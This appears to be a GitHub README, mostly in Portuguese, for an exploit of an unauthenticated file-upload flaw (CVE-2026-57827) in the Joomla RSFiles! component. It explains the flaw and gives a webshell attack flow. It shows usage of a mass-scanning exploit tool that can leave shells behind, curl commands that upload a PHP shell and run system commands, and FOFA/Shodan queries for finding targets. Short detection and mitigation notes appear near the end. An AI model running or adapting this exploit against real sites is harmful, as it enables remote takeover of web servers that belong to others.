shinthink/cve-2026-57827CVE-2026-57827 — Componente Joomla RSFiles! Upload de arquivo não autenticado RCE. Bypass de upload com controlador dividido. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 é uma vulnerabilidade de upload arbitrário de arquivos não autenticado de severidade crítica (CVSS 9.8) no RSFiles! (com_rsfiles), um componente de gerenciador de arquivos e downloads amplamente utilizado no Joomla, nas versões < 1.17.12.
A vulnerabilidade explora uma falha de design de controlador dividido: o RSFiles! separa seu upload em duas tarefas de frontend — uma verificação prévia (portão de permissão + lista de permissão de extensões) e um método de gravação (salva o arquivo em disco). O método de gravação pode ser chamado diretamente, contornando completamente a verificação prévia. Não é necessária autenticação nem token CSRF.
| Versão | Status |
|---|---|
| < 1.17.12 | Vulnerável |
| 1.17.12+ | Corrigida |
Descoberta por: Phil Taylor, mySites.guru (10 de julho de 2026) Fornecedor: RSJoomla (rsjoomla.com) Componente: com_rsfiles
O RSFiles! divide seu upload em duas tarefas de frontend separadas em /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, pulando completamente a verificação prévia.JFile::upload()), que aceita qualquer tipo de arquivo por padrão..htaccess de proteção que impediria a execução de PHP nela é uma configuração de administrador opt-in que está DESATIVADA por padrão.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| Arquivo | Finalidade |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Controlador com as tarefas vulneráveis upload() e checkupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | Template do formulário de upload do frontend (confirmado: name="file", task=rsfiles.upload) |
/downloads/ | Pasta de downloads padrão na raiz da web (proteção .htaccess DESATIVADA por padrão) |
/briefcase/ | Pasta briefcase (também gravável) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
As verificações de segurança (portão de permissão + lista de permissão de extensões) são uma etapa prévia separada do método que realmente grava o arquivo. Apenas a primeira contém as verificações. A segunda — a que grava em disco — pode ser chamada diretamente ao se elaborar o parâmetro task correto na URL, contornando todos os controles de segurança.
Este é um exemplo clássico do anti-padrão "verificações e ações em lugares diferentes": o guardião e a operação que ele deveria proteger estão desacoplados, e um atacante pode alcançar a operação sem passar pelo guardião.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Passo 1 — Envie o shell
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Passo 2 — Acesse o shell
curl 'https://target.com/downloads/shell.php?c=id'
Passo 3 — Execute comandos
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
Mitigação (se a atualização não for possível)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"